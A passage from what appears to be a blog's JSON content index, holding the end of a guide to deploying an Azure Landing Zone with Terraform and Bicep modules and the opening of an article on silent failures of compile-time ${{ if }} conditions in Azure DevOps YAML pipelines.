y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='340' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='324' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='340' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='324' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='340' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='324' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='340' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='324' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='340' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='340' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='340' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='324' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='324' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='340' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='340' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='276' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='324' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='340' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='324' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='324' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='324' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='340' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='276' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='340' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='340' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='324' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='324' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='276' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNotes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe \u003cstrong\u003ePlatform Landing Zone\u003c/strong\u003e provides shared infrastructure that is inherited by all applications.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVNet Peering\u003c/strong\u003e establishes the private network path for traffic.\u003c/li\u003e\n\u003cli\u003eDashed lines represent \u003cstrong\u003eTelemetry/Logging\u003c/strong\u003e paths back to the central management hub.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-eight-caf-design-areas\"\u003eThe Eight CAF Design Areas\u003c/h2\u003e\n\u003cp\u003eEach area addresses a specific failure mode. Skipping one creates a technical debt that is expensive to remediate.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eBilling and Entra Tenant\u003c/strong\u003e: Determining APIs for subscription vending.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIdentity and Access\u003c/strong\u003e: Implementing OIDC secret-less pipelines and PIM.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eManagement Group Organization\u003c/strong\u003e: Designing the hierarchy for policy inheritance.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNetwork Topology\u003c/strong\u003e: Hub-and-spoke with forced tunneling and IPAM.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSecurity\u003c/strong\u003e: Defender for Cloud and centralized Sentinel.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGovernance\u003c/strong\u003e: Enforcing standards via Azure Policy (Audit/Deny/DINE).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eManagement and Monitoring\u003c/strong\u003e: Centralized Log Analytics and Workbooks.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePlatform Automation\u003c/strong\u003e: CI/CD pipelines and automated subscription vending.\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch2 id=\"iac-tooling-terraform-avm-vs-bicep-avm\"\u003eIaC Tooling: Terraform AVM vs. Bicep AVM\u003c/h2\u003e\n\u003cp\u003eModern landing zones utilize \u003cstrong\u003eAzure Verified Modules (AVM)\u003c/strong\u003e. These are Microsoft-maintained modules that follow Azure\u0026rsquo;s recommended practices.\u003c/p\u003e\n\u003ch3 id=\"terraform-avm\"\u003eTerraform AVM\u003c/h3\u003e\n\u003cp\u003eBest for teams already using Terraform or multi-cloud environments. Requires an Azure Storage state backend.\n\u003cem\u003eLegacy Note: The \u003ccode\u003eterraform-azurerm-caf-enterprise-scale\u003c/code\u003e module is archived as of August 2026.\u003c/em\u003e\u003c/p\u003e\n\u003ch3 id=\"bicep-avm\"\u003eBicep AVM\u003c/h3\u003e\n\u003cp\u003eNative ARM integration with no state file to manage. Uses \u003cstrong\u003eDeployment Stacks\u003c/strong\u003e (GA since May 2024) for lifecycle management.\n\u003cem\u003eLegacy Note: ALZ-Bicep was deprecated in February 2026.\u003c/em\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-deploying-the-scaffold\"\u003eHands-On: Deploying the Scaffold\u003c/h2\u003e\n\u003cp\u003eUse the ALZ Accelerator to generate your initial repository structure.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1: Install the ALZ Module\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstall-Module -Name ALZ -Force -Scope CurrentUser\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 2026 release is 7.0.1+; review breaking changes if upgrading from 6.x\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 2: Run the Bootstrap\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNew-ALZEnvironment -Path \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;C:\\Source\\MyALZ\u0026#34;\u003c/span\u003e -DeploymentStrategy \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;GitHubActions\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 3: Deploy the Hierarchy (Terraform)\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;management_groups\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-ptn-alz/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;0.19.0\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  management_group_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;contoso\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  enable_telemetry      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eHierarchy First\u003c/strong\u003e: Design your management group tree before writing any networking or application code.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIP Planning\u003c/strong\u003e: Plan address space for three to five years. Resizing VNets after peering is established triggers outages.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eOIDC Only\u003c/strong\u003e: Never use client secrets in pipelines. Use OIDC federated identity for all Azure connections.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy at Scale\u003c/strong\u003e: Assign policies at the management group level, not the subscription level.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"series-roadmap\"\u003eSeries Roadmap\u003c/h2\u003e\n\u003cp\u003eThis guide is the introduction to a 10-part series on building a production-ready Azure foundation. Follow the articles in order to build your environment layer-by-layer:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eOrder\u003c/th\u003e\n          \u003cth\u003eArticle\u003c/th\u003e\n          \u003cth\u003eFocus\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 1\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-management-group-design/\"\u003eManagement Group Hierarchy\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eCore structure and subscription organization.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 2\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-hub-spoke-networking/\"\u003eHub-and-Spoke Networking\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eCentralized egress, Firewall, and Private DNS.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 3\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-identity-architecture/\"\u003eIdentity and Access Architecture\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eRBAC, PIM, and secret-less OIDC pipelines.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 4\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-policy-governance/\"\u003eGovernance at Scale\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eAutomated enforcement via Azure Policy.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 5\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-subscription-vending/\"\u003eSubscription Vending\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eProgrammatic workload onboarding.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 6\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-monitor-logging/\"\u003eCentralized Monitoring\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eLog Analytics, DINE policies, and Workbooks.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 7\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-security-baseline/\"\u003eSecurity Baseline\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eDefender for Cloud and Microsoft Sentinel.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 8\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-landing-zone-cicd/\"\u003eCI/CD for Azure Landing Zones\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eAutomating AVM with GitHub Actions.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 9\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-landing-zone-costs/\"\u003eAzure Cost Governance\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eTagging enforcement and forecasted budgets.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePost 10\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"../azure-landing-zone-ops/\"\u003eDay-2 Operations\u003c/a\u003e\u003c/td\u003e\n          \u003ctd\u003eDrift remediation and AVM migration.\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/\"\u003eMicrosoft Cloud Adoption Framework — Landing Zone Overview\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Landing-Zones/accelerator/\"\u003eAzure Landing Zones Accelerator\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Verified-Modules/\"\u003eAzure Verified Modules (AVM)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eStart with \u003ca href=\"../azure-management-group-design/\"\u003ePost 1: Design Your Azure Management Group and Subscription Hierarchy\u003c/a\u003e — the foundation for every subsequent article in this series.\u003c/p\u003e\n","description":"Build a production-grade Azure Landing Zone from scratch. Covers all 8 CAF design areas with Terraform and Bicep AVM code examples.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-landing-zone-guide/","title":"Enterprise Azure Landing Zone: The Complete Guide"},{"content":"\u003cp\u003eThe step is in the YAML. The variable is set. The log shows the pipeline ran without errors. But the step never executed — no skip message, no failure, just nothing. You have just met the silent failure.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e${{ if }}\u003c/code\u003e is the most-used expression in Azure DevOps YAML and also the most misunderstood. Engineers write a condition, the pipeline accepts it without complaint, and the block is silently excluded because the variable tested against did not exist when Azure DevOps evaluated it. Understanding why requires knowing exactly \u003cem\u003ewhen\u003c/em\u003e that evaluation happens, which is long before any agent starts.\u003c/p\u003e\n\u003cp\u003eThis article covers:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA mental model of why \u003ccode\u003e${{ if }}\u003c/code\u003e blocks go silent during the compile phase.\u003c/li\u003e\n\u003cli\u003eA two-minute diagnostic process using the Expanded YAML view to catch hidden errors.\u003c/li\u003e\n\u003cli\u003eFour refactoring patterns to move logic to the correct evaluation phase.\u003c/li\u003e\n\u003cli\u003eA decision table for choosing the right gate based on your variable source.\u003c/li\u003e\n\u003cli\u003eA checklist for auditing pipelines before silent failures reach production.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"why--if--goes-silent\"\u003eWhy \u003ccode\u003e${{ if }}\u003c/code\u003e Goes Silent\u003c/h2\u003e\n\u003ch3 id=\"where-in-the-pipeline-lifecycle---evaluates\"\u003eWhere in the Pipeline Lifecycle \u003ccode\u003e${{ }}\u003c/code\u003e Evaluates\u003c/h3\u003e\n\u003cp\u003eAzure DevOps evaluates \u003ccode\u003e${{ }}\u003c/code\u003e expressions during the \u003cstrong\u003eCompile\u003c/strong\u003e phase (Template Expansion) — before a run is queued, before an agent is assigned, and before any runtime variable values exist. The pipeline moves through five phases sequentially, and the \u003ccode\u003e${{ }}\u003c/code\u003e evaluation window closes in Phase 2:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003ePhase\u003c/th\u003e\n          \u003cth\u003eName\u003c/th\u003e\n          \u003cth\u003eWhat happens\u003c/th\u003e\n          \u003cth\u003eExpression syntax\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e1\u003c/td\u003e\n          \u003ctd\u003eParse\u003c/td\u003e\n          \u003ctd\u003eYAML file loaded, syntax validated\u003c/td\u003e\n          \u003ctd\u003e—\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2\u003c/td\u003e\n          \u003ctd\u003eCompile / Expand\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ }}\u003c/code\u003e evaluated, templates inlined\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ }}\u003c/code\u003e only\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e3\u003c/td\u003e\n          \u003ctd\u003eQueue\u003c/td\u003e\n          \u003ctd\u003ePipeline queued, run record created\u003c/td\u003e\n          \u003ctd\u003e—\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e4\u003c/td\u003e\n          \u003ctd\u003eInitialize\u003c/td\u003e\n          \u003ctd\u003eAgent starts, variables hydrated\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e$( )\u003c/code\u003e and \u003ccode\u003e$[ ]\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e5\u003c/td\u003e\n          